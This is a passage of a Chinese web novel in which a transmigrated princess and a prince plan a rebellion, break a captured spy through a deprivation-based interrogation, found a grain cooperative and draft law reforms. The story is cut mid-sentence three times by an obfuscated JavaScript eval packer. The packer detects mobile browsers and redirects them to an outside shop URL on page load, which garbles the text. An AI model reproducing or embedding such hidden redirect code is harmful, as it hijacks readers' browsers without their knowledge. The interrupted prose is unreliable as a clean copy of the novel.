蒋羽也比预料中的更好说话,他闻言长长地叹了一口气道:“王妃都这般说了,我也不好再拒绝,可若是遇到了麻烦……” 慕衷情道:“差人来找我,我来处理。” “不,我是希望王妃能给我一些便宜行事的权力。”蒋羽直视着慕衷情说。 “没问题。”慕衷情相信蒋羽的人品,不会闹出什么欺男霸女的事情来,如果遇到故意闹事的,下手狠些便狠些了,她深知以暴制暴的重要性,在这样一个社会,她不会在这种事上圣母。 蒋羽接宣传教育任务的时候不情不愿的,但离开捧着那几张薄薄的纸,像是捧着什么稀世珍宝一般。 等他走后,慕衷情洗了个澡,换了身干净的短褐,王爷是回来了,不过她这个王妃依然没打算换回那满身珠翠。 毕竟麻烦还重,耽误干活。 没过多久,下人来请她去吃晚膳,慕衷情干了一天活早就饿了,小跑着去吃饭,她今天要干三碗饭! 喜儿连忙喊住她:“王妃,今日王爷在花园设宴,您跑错路了。” 芸儿快步追上来,脸上还带着不忿,眼疾手快地给慕衷情发间插上一根簪子:“王妃,今日那柳姑娘也在,您这打扮还是太素了些。” 慕衷情倒是无所谓穿什么戴什么,立马一个转身,往花园跑去,一边跑一边想,王爷刚回来,设宴就设宴吧,她就不说他铺张了,只要能光盘就行。 然而她刚到达设宴地点,便见穿了一身华服的柳燕燕站在秦澈身前,柳燕燕似乎是看见了她,忽地哭着伸手朝秦澈抱去。 秦澈武者本能,下意识地闪身避开,顺便一招擒拿,把柳燕燕的手扣在背后,直到柳燕燕的痛呼声响起才立马松开钳制着她的手。 慕衷情无语,这家伙怎么回事,既然知道对方是卧底还把人带回来了,那不应该好好哄着,故意演戏亲近她,把卧底的利用价值给榨干吗? 慕衷情想,真是粗鲁,看来这活还是得她来。 63. 六十三、 “你没事吧?”慕衷情上前,扶起坐在地上哭泣的柳燕燕,温柔道,“先起来,别让旁人看了说闲话。” 柳燕燕低着头起身,快速地看了慕衷情一眼,又垂眸抹泪,似是受了什么天大的委屈。 慕衷情看向秦澈,发现他脸色铁青,心道柳燕燕是跟他说了什么话,惹得他这么生气。 “王爷,柳姑娘好歹是你的救命恩人,总该收敛些武夫习气,待人温和些。”慕衷情使劲给秦澈使眼色。 秦澈别过头,应了一声。 很快,其他人陆续到场,司岳、吴雨、吴雪、管家,还有几个慕衷情不算太熟悉,但因着司岳见过几次的秦澈手下的将军们。 除了柳燕燕,都是秦澈的心腹。 慕衷情感觉秦澈像是要搞什么大事,她还在思考时,手腕上便传来一股力道,是秦澈,把她拉到了主位,与她坐在一起。 她完全没有怎么打扮,身上最值钱最好看的还是刚刚芸儿追着给插上的发簪,看起来与华贵威严的秦澈格格不入。 慕衷情往四周看了看,没看到拐杖,小声问道:“你腿没事吧?怎么不拄着拐杖?” 秦澈的脸上这才露出些笑意来,微微扬起下巴道:“小伤,没关系。” 慕衷情有些不太相信,断腿可不是小事,便是在现代社会都要养上许久,她不赞同地望着秦澈,目光里充满了对他不爱惜自己身体的谴责。 待到所有人落座,秦澈宣布开席,他向来不爱风花雪月,自然也没有安排什么歌舞表演,甚至连酒都没给一壶,准备的都是茶水。 “今日本王找大家前来,是为这段时日的交代。”茶过三巡,秦澈悠悠开口。 “失踪这几个月,想来大家心中也有不少猜想,本王确实是遭到了好几拨刺客的追杀,那些人不必本王多说,你们也该知道是谁所指使,是谁最想要本王身死。”秦澈低头把玩着手中的杯子,“所以本王已做了决定,既然姜喧如此忌惮本王,成日里担忧本王夺了他的位,砍了他的脑袋,那索性就如他所愿,此事非生即死,你们都跟随本王多年,若是不愿,可自行离去,本王绝不追究。” 说罢,秦澈冷漠的目光扫视全场,最后落在慕衷情还在啃着的鸡腿上,眸光一颤,默默地当做没看到。 慕衷情非常捧场,立刻放下鸡腿擦手,顺带鼓掌:“不就是夺位嘛,我百分百支持你,就姜喧那个大傻叉,早该死了,不过这件事不急于一时,还要好好筹谋,比如练兵,粮草,路线,计谋等等。” 起义的事情,慕衷情早就毫不避讳地和秦澈说过不止一次,如今秦澈下定决心,她可是句双手双脚赞成。 听到慕衷情的话,司岳第一个站起身表明自己的态度:“司岳此生,只忠于王爷与王妃!” 其余人等没有一个离开,全都起身恭敬地跪下,唯一不同的是,在他们默契十足的喊话中,只有王爷,没有王妃。 秦澈也注意到了这点微小的差别,正想看看慕衷情的神情,就见她又把鸡腿拿了起来。 一口气憋在嘴里,秦澈再次默默地扭过头。 这一次,他看向了柳燕燕,只见她脸色惨白,似乎十分害怕自己刚刚听到的内容。 秦澈用茶杯挡住了勾起的唇角,等慕衷情啃完鸡腿,蓦地凑近秦澈道:“你是故意的吧?是想看看柳燕燕怎么传消息吗?” 秦澈看向慕衷情的目光里充满了欣赏:“是。” 慕衷情点点头,一脸的果然如此。 想来柳燕燕也能猜到秦澈怀疑她的身份,但造反这样的大事,估计她就算拼着一条命,也会想办法把消息传出王府。 到时候就看是她和同伙的手段更厉害,还是秦澈抓人的速度更快了。 秦澈的目光很快从她的脸上转到了她的头发上:“你为何要断发?” 比起其他人看到她的头发时的惊讶,秦澈因为知道她来自异世界,倒是并没有感到多意外,只是有些好奇罢了。 “太长了,重得慌,不方便打理。”慕衷情说着,脸上露出怀念的神情,“以前我的头发可是很短的,都扎不起来,有时候加班太晚,洗完头稍微吹吹就干了,不像长发那么麻烦,几分钟就能直接去睡了。” 秦澈很认真地听着,哪怕有很多词汇他都听不懂,但他听明白了一件事,从前的慕衷情也是十分忙碌,早出晚归的,她从来都是那么努力向上的一个人。 “啊,我想起来了!”慕衷情忽然一拍手,吸引了所有人的注意力,“王爷,既然决定了要夺天下,那修订律法的事情你也得思考起来!” 除了司岳,所有人愕然。 秦澈张了张嘴,开口时气势已经不自觉地弱了几分:“修订律法并非易事,轻易改之,怕是会引起大乱,此事还需从长计议。” 慕衷情一把抓住秦澈的手腕:“从长计议是对的,但是真的要提上日程,很急,真的很急。” “为什么?”秦澈不解,在他看来,待到天下安定,再慢慢修订律法也没什么问题。 慕衷情扫视一圈,反正这儿除了柳燕燕都是自己人,秦澈刚刚也说了自己要造反的决定,她再说些什么,应该也不是什么大事。 “这个顺序我认为应该是这样的,修订律法在舟安推行试点,就是看看有没有改变和效果,如果一切都发展得很好,百姓拥护,那就可以推广到整个清州,往后你造反打出清州,攻下一座城池就颁布新律法,既能收拢人心,也是真正地为百姓谋福利,让他们能早一天过上好日子,这样一来,别地的百姓看到你治下的安宁生活,自然就是箪食壶浆以迎王师了。” 说完,慕衷情期待地看着秦澈眨眨眼,她的话一如既往地直白大胆,就连秦澈这个谋逆王爷都还没想到这些深度和细节。 秦澈目光复杂地对上慕衷情的视线,他一时没想出什么反驳之语,半晌才道:“你考虑得深远,但事有轻重缓急,这段时日我也听说了你在舟安所做的事情,虽听起来惊世骇俗,但我知道,你有你的理由,也是真心为了那些百姓,便先完成你手上的事情,往后我们一步步来。” 这话听起来很像是在哄着慕衷情,但慕衷情没有证据。 不过她知道秦澈没有恶意,只是思想上还是固有的那些罢了,于是她道:“可以,不过这几日我也有许多事要与你说,你可得多抽些时间。” 慕衷情想,擒贼先擒王,思想工作也得先从秦澈做起,这样她往后做事才能更顺畅。 她向来是个行动派,想到这一点后,都等不到第二天,晚上等众人散去后,她便拉着秦澈回到房间,让所有下人退下。 大家只当新婚燕尔的夫妻久别重逢,需要二人空间。 而慕衷情拿了几张纸递给秦澈,没有解释是什么,等着秦澈自己看。 内容不多,秦澈很快便看完全部内容,他看向认真盯着他的慕衷情:“这是?” “三大纪律八项注意,在我的国家,是我们的军队一直在遵守的纪律,他们被称为人民军队,战乱时,他们即便缩衣节食,也不会去抢百姓们的粮食和钱财,若是借住借吃,便会给百姓家里干活,付钱,若是拿了人家的东西,就一定会留下借条,等到部队有钱了,便来还上,更别说欺辱妇女,打家劫舍了,那可是要枪毙,呃,砍头的。” 慕衷情兴致勃勃地与秦澈讲述她理想中军队与士兵的模样,秦澈听得认真,耐心地听慕衷情说完后,才道:“清州军亦是纪律严明,这些你倒是不必担心。” 慕衷情闻言皱起一张脸,问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489571|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我且问你,清州军的士兵们,是为何参军?这些士兵中,有多少是募兵,驻扎边境不可轻易动用的边军,又有多少是你能够随意调动的府兵?他们的集体作战能力如何,单兵作战能力如何?逃兵几成?一个队伍打到多少人会溃散?他们坚持的意志是什么?” 秦澈刚要回答,慕衷情却又立马捂住他的嘴:“你别急着回答,好好想一想,不过我可以告诉你,在我从前的世界,他们可以创造一个新兵守住阵地,打退敌人41次进攻,歼敌两百多人的战绩,这还并不算最厉害的,只是我记性不好,记不全那么多英雄而已,当然如果你有疑问,可以问我。” 秦澈握住慕衷情的手腕挪开,神色认真道:“我会好好想一想的。” “成,那就早点睡觉吧,这几日你还得盯紧柳燕燕呢,一起努力加班吧~”慕衷情心情颇好地起身,解开腰带,准备脱衣服睡觉。 秦澈猛地站起来,背过身去,慌慌张张地走到屏风后面去换衣服,好像他才是那个黄花大闺女似的。 慕衷情毫不在意,主要是古人这里衣也一点都不透啊,她丝毫不觉得被人看到脱外衣有什么不适。 当然,最重要的还是秦澈从来不会用下流的目光打量她。 翌日,慕衷情继续扛着锄头带人出门去收稻子,给了柳燕燕足够大的舞台去表演。 而柳燕燕也没有辜负她的一番苦心,亲自下厨给秦澈熬了一碗鸡汤,端去找秦澈。 秦澈回来之后,因为腿脚不便,并没有多走动,总是待在书房里翻看慕衷情这段时日写过的东西。 他其实并没有办法想象慕衷情所说的那个世界,那甚至比许多人想象的仙界还要奇异,还要不可思议。 秦澈仔细地看着慕衷情关于修订律法的一些思考,虽不完全,但秦澈能够看出来,她所写的每一条,都是为了保护最底层的那些百姓不受欺侮,有处伸冤。 就在秦澈思考着慕衷情抛给他的问题时,房门被敲响,柳燕燕的声音从屋外传来:“王爷,您重伤未愈,燕燕给您熬了一碗鸡汤,还望王爷多顾及些自己的身子。” 秦澈眸中露出不耐烦的神情,但很快压了下去:“进来。” 柳燕燕进门将鸡汤端到书桌上,目光朝桌上的纸张瞥了一眼,而后抬起眼,望向秦澈的目光里满是无懈可击的爱慕。 “放着吧,本王晚些喝。”秦澈甚至都懒得敷衍几句。 “王爷,燕燕无意打扰,若是您担心王妃心生龃龉,燕燕可亲自与王妃去说。”柳燕燕眼底蓄着泪光,看起来楚楚可怜。 “你敢?”秦澈目光凌厉地瞪她一眼,冷冷道,“本王带你回来不过看在你一个孤女身世可怜,又对本王有恩,你不该肖想过多的事情。” 柳燕燕倔强地咬紧下唇,良久道:“可王爷,燕燕管不住自己的心。” 秦澈瞬间起了一身鸡皮疙瘩,他就连听话本都不听有这种台词的,于是他立马道:“本王知道了,或许是你未曾来过舟安,不知这里有诸多大好男儿,不如这几日你多出去走走,散散心。” 说罢,秦澈连忙叫人把柳燕燕送走,她不好出府送信,那他给她制造机会还不行吗! 果然,没过两天,柳燕燕便出了门,她说是要去买些点心给王爷,又叫人不要跟着,独自一人离开。 明面上的跟着没有,暗地里的监视却少不了。 她一出门,暗卫便立刻将消息禀告了秦澈,秦澈沉吟道:“别告诉王妃,等抓到她同伙,就立刻把她也抓起来。” 暗卫有些奇怪地问:“若是王妃问起?” “咳,那还是如实告知,若非王妃主动问起,抓到人前不必主动告知。”秦澈生怕慕衷情还要放长线钓大鱼,到时候憋屈的还是他自己。 64. 六十四、 傍晚,秦澈站在前厅,看到慕衷情扛着镰刀踏着晚霞回来,还是这么不高贵不端庄不优雅,还是热烈昂扬得让烧透天际的夕阳都黯然失色。 看到他,慕衷情扬起一个笑容:“王爷在这儿等我,可是有什么事要与我说?” 秦澈跟着她往后院走:“听闻这几日秋收进展很顺利,可比往年提前许多日结束,你可是功不可没。” “那是因为这几日有许多差役主动请缨,前来帮忙,你是没见到啊,大家齐心协力,官民军民一心的场面。”慕衷情语气里充满了自豪。 “今年舟安难得没有被水患所困,或许真是天意。” 秦澈刚说完,就被慕衷情呸了好几声:“你可千万不要立flag,这样说很容易不想来什么就来什么的。” “好好好,不说这个,这几日我仔细想过了,如你所说,我秦家手持长枪,征战沙场,无非就是为了保家卫国,而你所问,最重要的一点便是,保的是何人的家,卫的又是何人的国。” 慕衷情忽地停下脚步,她问:“那你的答案是?” “是每一个瑾朝百姓的家,是每一个瑾朝百姓的国。”秦澈认真地望着慕衷情的眼眸答道。 慕衷情临时补了一个问题:“瑾朝是何人的瑾朝?” “瑾朝,是每一个瑾朝人的瑾朝。”秦澈说完,自己都笑了一声,他并非不信,只是如此简单的道理,却从来没有人教过他,他们只会教他忠君爱国,忠君在前。 可如今的君是姜喧,这样的君别说忠诚了,不杀了他都对不起那些被害死的人。 但,秦澈也带了私心。 这段时日在外四处躲藏,多次在生死之间游走,秦澈想通了很多事,往日王朝更迭,亦是有能者居之。 他的心中逐渐清晰了计划,也有自己想要推选的君主。 那时的他躺在漏风漏雨的茅草屋中,望着屋檐滴落的雨珠,细细回想了自己这么多年来的所见所闻。 怒海中尸山血海,路途旁枯瘦尸骨。 秦澈也有他所想要改变的,想要实现的。 慕衷情不知道他心中究竟翻涌过多少复杂的挣扎,但她乐于见到如今的秦澈。 “好,那以后我们就是正式的合伙人了!”慕衷情伸出手,甚至想和他握个手表达真诚的合作意向。 秦澈眼中又透出些茫然,慢慢地抬起手,犹豫着牵住她的手。 “祝你我都得偿所愿。”慕衷情用力甩了两下,然后无情地放开手,大步往房间走。 秦澈在原地怔愣几秒,无奈地摇头笑笑,随即跟上。 就在慕衷情换完衣服,准备去吃饭时,暗卫已经拎着五花大绑的柳燕燕丢到了她和秦澈面前。 慕衷情震惊:“这么快?” 秦澈一扬下巴:“要不要一起审?” 慕衷情摸了摸肚子:“一边吃饭一边审吧。” “啊?”秦澈发出疑惑的单音节,随即又正色道,“那便听王妃的。” 柳燕燕听到他们的话,猛地抬头恶狠狠地盯着慕衷情。 慕衷情一脸无辜地指向秦澈:“你瞪我干啥,又不是我抓的你,要瞪瞪他啊。” 说罢,慕衷情率先打头奔向她的晚饭。 当秦澈和慕衷情坐在桌边吃饭时,柳燕燕就跪在冰冷的地上。 秦澈似乎毫不在意地说了一句:“王妃来审吧。” 没等慕衷情开口,柳燕燕却厉声道:“我倒是没想到两位如此伉俪情深,要杀便杀,不必多费口舌,我什么都不会说的。” 慕衷情连忙咽下嘴里的饭,开口道:“你是被卖掉,然后训练成死士的吗?” 柳燕燕冷笑一声:“王妃心思深沉,不必给我设局。” 慕衷情见状,便没有再开口,又连忙干了一碗饭,趁着丫鬟给她盛饭的时候,重复道:“你是被卖掉,然后训练成死士的吗?” 柳燕燕皱眉,没有回答。 慕衷情依然不急,秦澈也不理解慕衷情想做什么,但他十分信任慕衷情,便仔细瞧着慕衷情的神态动作,想着这或许是异世界更加高明的什么审讯之法。 柳燕燕是谁的人,慕衷情与秦澈都心知肚明,除了她秦澈还抓了三个细作,见她一直不说话,慕衷情问道:“王爷,其余细作呢?” “我担心他们串供,便分开关押了。” 慕衷情道:“不用,一起带上来吧,再拿几把椅子给他们坐坐,把椅子和人用铁链捆起来,免得跑了。” 没有审讯椅,那就自己创造条件。 慕衷情原本也想过去考警察,就是体能确实比不过别人,可惜了。 等到吃完饭时,饭桌前已经整整齐齐捆了四个人,慕衷情擦了擦嘴说道:“你们都是怎么成为细作死士的?” 自然没有人回答,慕衷情轻声叹息,她是不信姜喧靠救人才有那么忠心的手下的。 她不急着问出些什么,对柳燕燕这般要靠美人计来当细作的女子心存怜悯,但对其他人可没有。 于是她叮嘱道:“人就放这儿吧,你们看着安排下,轮班看守,柳燕燕每日一日三餐按修路工人的餐食标准供应,其他人每一个时辰喂一杯水,吃食不许给,每日我再来看看。” 秦澈替其他人问了一句:“若是要方便?” 慕衷情悠悠地说:“柳燕燕可以由婢女陪着去,其他人不许。” 待到走远,秦澈才问道:“这般,他们便会说了吗?” 慕衷情把有些散落的碎发拨到耳后:“明天未必,不过不着急,我可是看过不少刑侦剧的,大记忆恢复术嘛,要有耐心。” “刑侦剧是什么?大记忆恢复术又是什么?”秦澈好奇。 慕衷情突然来了兴致:“你喜欢听故事吗?有兴趣的话,我来给你讲讲重案六组的故事!我看了十几遍呢!” 翌日,慕衷情和秦澈照常去忙自己的事情,慕衷情把修路的事宜统统交给了秦澈,请他帮忙监督,自己则又一头扎入了轮种冬小麦的宣传和协助种植的工作中。 她在帮忙收割稻子的过程中,走访了许多农户家,发现因为舟安经年多雨,愿意轮种小麦的人家并不多,在漫长的冬季到来之前,他们更宁愿去做些零工,以安稳地过冬,也正因如此,府衙甚至又多了许多女子来报名修路。 于是第一步,慕衷情一家一家地上门,免费发放小麦种子,让他们进行轮种,同时承诺,若来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499307|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年小麦颗粒无收,来王府找她,她会进行赔偿和补贴。 有了这样的保证,田间地头的人才又重新多了起来。 慕衷情不怕他们故意不好好种,毕竟大多都是在地里待了大半辈子的人,怎么舍得这样浪费种子,浪费粮食。 之后第二步,慕衷情和秦澈商量,设立官方粮店,稳定粮价,以避免发生天灾人祸时,囤积居奇,哄抬粮价,导致更多人饿死,也能避免无人收粮时,百姓不得不贱卖粮食或任其烂在地里。 秦澈接受能力良好,立刻同意了这件事,他让蔡书霖带慕衷情去见了一个人。 在之前那场清扫中,也有几家白手起家没忘了本的大户幸存下来,他们当时除了销毁慕衷情要求销毁的地契和债务凭证外,还主动将卖身契还给了家中的奴仆们,但也因为他们是这样的人,家中仆人几乎都没有离开,都忠心耿耿地继续跟着他们。 毕竟这样的世道,能有个不随意打骂下人的主子,已经是很好的命了。 慕衷情便设宴,召集三家主事人一同来王府。 这三家分别是李家、赵家和宁家,李家开米铺,赵家开粮铺,宁家开酒楼。 宴席就在原本的饭厅里,那被捆着的四个人依然坐在那里,除了柳燕燕,每个人身上都传来难闻的腥臭味,就连看守的暗卫都比最初挪开了好几步,慕衷情也不想每天闻着这股味道吃饭,便让人把他们抬到了屋外院子里,接受雨水的洗礼。 慕衷情每天只有晚饭时会来问他们一个问题,不答便走,毫不留恋。 三个男人饿了好几天,脸色蜡黄,每次柳燕燕吃饭时,望着她的目光都充满了渴望和恨意。 第三天,他们就开始用各种污言秽语侮辱柳燕燕,怀疑她是不是早已投靠了秦澈。 柳燕燕全都忍了下来,没有多说一句。 他们都知道,慕衷情这样区别对待就是明谋的挑拨离间,他们经受过无数种残酷的训练,若是严刑拷打,每个人都有自信能够扛下来,可这样的折辱和明晃晃双标,让他们忍不住生出恶意来。 每一次憋到忍不住的时候,都是对这几个男人最大的折辱和宛如凌迟般的折磨。 就算知道慕衷情是故意的,他们仍然会想,凭什么? 那三家家主到来的时候,一眼就看到了院中的人,他们对视一眼,都没敢开口问。 倒是慕衷情主动解释道:“这都是抓到的细作,还没审出来什么,恐怕还需要几日。” 几家家主往那几个男人的身下望了一眼,立刻当做什么都没看到一样,热络地跟着慕衷情落座。 李家家主率先开口问道:“不知今日王妃召我们三人前来,是为了何事?” 慕衷情开门见山:“三位家主都是有良心的人,我今日找三位,是为了商讨在舟安成立粮农会的事情。” 赵家家主疑惑:“何为粮农会?” 慕衷情想了想,用最简单的方式解释道:“类似于商会,由王府主导,稳定米价粮价,不哄抬售价,不压低买价,作为每一个农户最可靠的后路。” 听到她的话,不只是三家家主眼中流露出些复杂神色,就连一直沉默的柳燕燕也抬起头看向慕衷情。 65. 六十五、 李家家主大笑几声:“王妃,若是王府要筹办这个粮农会,我们自然不敢不从命。” “不是啊,我说的主导,是由王府来做最终决策人,但管理、出谋划策,还是需要三位,我想过了,目前先由我来作为会长,您三位便是副会长,再设置一个监督部,部员大概五人或者七人,监督组中的人须是城中有德有才学之人,但不可身负官职,三年一换届,来监督粮农会是否有欺辱压榨百姓的行为,每次换届需公示三个月新名单,若有人举报其中有德行有亏之人,便要重新选人。” 慕衷情说到这里,顿了顿,目光在三人之间逡巡一番,才又接着说道:“民以食为天,这监督部的责任重大,所以我属意宁家家主来做监督部部长,那既然是粮农会,便要起到稳定米价粮价的作用,市场部不可缺少,市场部每年六月、十二月都要做一份市场调研,了解农户的种植、收成情况,制定每半年的最高售卖价,和最低购入价,保证不会波动太大,出现哄抬价格的情况,那这个市场部部长,自然是赵家家主更适合。” 听到这里,宁家家主和赵家家主对视一眼,心下已经了然,随即他们默契地将目光投向李家家主。 慕衷情要的是三足鼎立,互相掣肘,自然不会落下李家。 见几家都没有提出什么反对意见,她继续说道:“我自然也不会忘了李家,我听闻李家开米铺多年,从未跟着故意哄抬米价,还经常施粥行善,可见是真心体恤百姓,我还想开设一个侦查部,若有农户举报不正之风、鸣不白之冤,便要细细侦查,还一片天晴日朗,这侦查部部长便由李家家主担任了。” 李家家主年岁最大,他抚着自己的长须,没有答好与坏,只问道:“王妃,若我三家联合起来,一手遮天,这粮农会怕就不是王妃今日想要的模样了。” 慕衷情一脸单纯地问:“我不问后来人,我只问三位,你们会这样做吗?会忘了自己发家的一路艰难,去反过来欺压曾经的自己吗?” 沉寂瞬息,宁家家主忽而豪爽大笑:“既然王妃如此信任宁家,宁某人必定不会辜负王妃所望。” 其余两家立刻也表明忠心。 慕衷情端着碗起身,夹了好几块肉,走到台阶上坐下,望着院子里的人道:“三位都是我的长辈,今日我也说些心里话,王侯将相宁有种乎?这天下的田地是农户在一年到头辛苦耕耘,一砖一瓦,是工匠劳力由血泪筑成,绸缎华裳,废了多少织户绣娘的手和眼睛,他们才该是这天下的主人,他们才应该过上好日子,我觉得这世道一点都不好,所以我不想它变得更坏,我希望有我在一天,这世道哪怕是好上一分,我也不算白来这里一趟。” 宁家家主如她一般端着碗拿着筷子,毫无负担地坐到慕衷情身旁。 “许多年前,我也是这般跟着父亲坐在田间吃饭,倒是很久,没人陪我这般了。” 李家家主靠着柱子,全然没有一开始的端庄,反而像个老顽童:“可是王妃,您还差给这粮农会上一道锁,我们三人能不变,后来人却未必,待我们去后,这三个副会长和部长的位置该怎么更迭,若是选上来的人真成了鱼肉百姓的恶人,又该如何?” 唯有赵家家主依然端坐在饭桌旁,听到李家家主的话便悠悠道:“有了粮农会,并不意味着官府无法管束,若有冤,还可去官府诉冤。” 李家家主嗤笑一声:“若是官官相护,沆瀣一气?” 慕衷情听到这里才出声:“若真到了那时,那一定是已经到了朝廷腐败不可救药,民生凋敝无需再忍的地步,到时,别说粮农会了,便是当朝天子,也该换一个当当了。” “咳咳咳……”宁家家主刚吃进去一口饭,就听到慕衷情这大逆不道的话,吓得直接呛到。 柳燕燕不知何时已经坐直了身体,前倾着望向慕衷情,她眼中情绪翻涌,似乎有什么正在冲破桎梏。 慕衷情低下头,猛猛干饭,院子里一下子安静下来,没人敢接她刚刚的那番话。 最后,竟然是柳燕燕打破了这片寂静。 “慕王妃,我并不是被卖的,我的本名也并非柳燕燕。” 说到这里,柳燕燕停住,观察着慕衷情的表情。 慕衷情难得细嚼慢咽地把嘴里的饭菜咽下去,然而蹦蹦跳跳地跑到柳燕燕身边:“你知道吗?这是第一次有人在称呼我王妃时,带上的是我自己的姓氏,那你应该是谁呢?应该叫做什么?” 柳燕燕望着慕衷情的笑脸,一时间有些恍惚:“我,我是陆霜雪。” “很好听的名字啊,陆霜雪。”慕衷情很平常的一句感叹,却让陆霜雪忽然落下泪来。 她原本也是官家小姐,但六岁那年,家中满门被抄,男子要么斩首要么流放,女子则要么被充为官妓要么为奴为婢,打入贱籍。 陆霜雪辗转被卖被送,最终落到姜喧手里,他说她弱柳扶风,身轻如燕,便给了柳燕燕这个名字。 就在她以为自己会用柳燕燕的身份,死于朝堂斗争,最后再成全一次忠君的名声时,她被派到了清州。 姜喧做了两手准备,若能杀了秦澈便杀,若杀不了,便要柳燕燕用美人计博取秦澈的信任,还提醒了许多遍,一定要挑拨秦澈与慕衷情之间的关系,最好让慕衷情不得好死。 柳燕燕知道姜喧为何如此痛恨慕衷情,慕氏出了个叛徒,这段时日慕家在朝堂上的日子也不是很好过。 她了解姜喧向来睚眦必报,被摆了这么一道,自然恨极了慕衷情,连带着皇后慕衷言都被迁怒,已有许久不曾侍寝。 但现在,柳燕燕觉得似自己又窥见了一层,姜喧为何这般恨透慕衷情的原因。 慕衷情是真的,不将天子之位放在眼里。 被轻视,才是姜喧骨子里最不能忍受的事情,他认为自己是天下之主,所有人都应当是他的一条狗,唯命是从。 “王爷失踪的那几个月,我也听闻了慕王妃在舟安的所言所行,清州各地早已不知传出多少种流言,有的说王妃就是仙女下凡,来解救贫苦百姓,也有人怒斥王妃藐视祖宗礼法,狂妄自大,杀人如麻。”陆霜雪说着说着,忽然笑出了声,“可我却觉得,慕王妃便是慕王妃,我从未见过……” 陆霜雪没有再说下去,或许她自己也找不到什么词汇来形容慕衷情。 慕衷情迅速干完了一碗饭,把碗筷放回桌上,又坐到台阶上,对着陆霜雪说道:“我知道你们都是姜喧派来的,其实我并不想杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518158|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们,毕竟你们也都是被洗脑,被当成工具的人,我只是觉得,你们不该忘了自己原本的身份和模样,这天下,从来就不是某一个人的,而是每一个勤勤恳恳努力生活的人的。” 说着,慕衷情的目光扫视周围,三家家主已经默默地远离她好几米,恨不得把自己的耳朵塞住,他们三个站成一排,眼观鼻鼻观心。 她托着腮道:“这样吧,我也不杀你,你便去折柳巷帮忙吧,最近锦书她们又要开新店了,你一起张罗张罗。” 陆霜雪的眸中露出疑惑,她来到清州不久,只知道慕衷情分地的事情,却不知道她还一举端了销金窟温柔乡,如今舟安城中,只有做工的,没有卖身的,各种意义上的。 慕衷情想试试,能不能彻底将柳燕燕变回陆霜雪,那里有锦书她们帮她盯着,再让吴雪吴雨注意着点,柳燕燕跑不掉。 她还没完全信任柳燕燕,毕竟,她可还没主动供出清州,至少是舟安的其他细作。 很快就有人将柳燕燕带走,剩下的三个人神色各异,不知在想些什么。 慕衷情故意等了一会儿,催促三位家主赶紧吃饭,要践行光盘行动,不可浪费粮食。 三人只能埋头干饭,而慕衷情绕着那三个细作走了几圈,盯得三人背后发凉。 “你们又是什么身世?能聊就给你们陆霜雪的待遇,不能就继续受着屈辱吧。”慕衷情淡淡地开口威胁道。 其中一人冷哼道:“别以为我们都和那卑贱妓女一般软弱好骗,妄想用这种手段收服我们,王妃怕是要失望了。” 慕衷情骤然冷下脸,上前就是一巴掌:“先把嘴涮干净再说话吧。” 打完,慕衷情平复了会心情,又平静地说道:“算了,也无所谓,都已经被养成了一堆垃圾,那就给你们一个垃圾该有的结局吧。” 三人听懂了她的言外之意,但没有什么惧怕之意,反倒是用各种不堪入耳的言语骂着慕衷情,像是想借此发泄这几日来压抑的情绪,并消解对即将到来的死亡的恐惧。 侍卫将他们连人带椅拖下去之后,慕衷情又回到了座位上,三位家主看向的眼神更加复杂了。 宁家家主问:“王妃,是特意选了今日斩杀细作吗?” 慕衷情想了一会儿,明白了宁家家主的意思,笑道:“别误会,不是杀鸡儆猴,就是心情不好,既然他们不想开口,那就永远别开口好了,而且,这不是还有陆霜雪吗?” 陆霜雪虽是刚来清州不久,未必知道所有的细作名单,但她知道他们之间的联系方式啊,等陆霜雪真正想通了,就让她再去钓几个细作出来。 赵家家主吃着吃着,忽然像是想起了什么:“王妃,粮农会虽与从前那些商会不同,但上传下达,须有信物,以免出现各种乱象。” “那就刻个章吧。”慕衷情一手拿着筷子,一手托腮,又吃了几口菜才接着道,“以印章为信物,传达各项命令举措。” 赵家家主小心翼翼地问:“那章上是要刻慕姓吗?” 慕衷情忽地抬眼望向赵家家主,目光犀利而坚定:“粮农会不是我慕衷情一个人的,要刻便刻——” 她沉吟半晌,嗓音忽地温柔下来:“为人民服务。” 66. 六十六、 废除贱籍、奴籍,焚毁一切卖身契,人人皆得自由身; 不得开设任何形式的妓院,不得买卖人口; 二十岁以后未婚嫁者,无论男女,皆可单独立户; …… 每日,慕衷情都会将想到的需要修订的律法写下来,不久之后,折柳巷的学堂正式开课,礼乐射御书数,君子六艺一样不少。 慕衷情没有亲自前去,她正忙着验收修好路段的成果,但她特地找人写了横渠四句,并附上了张载的名字。 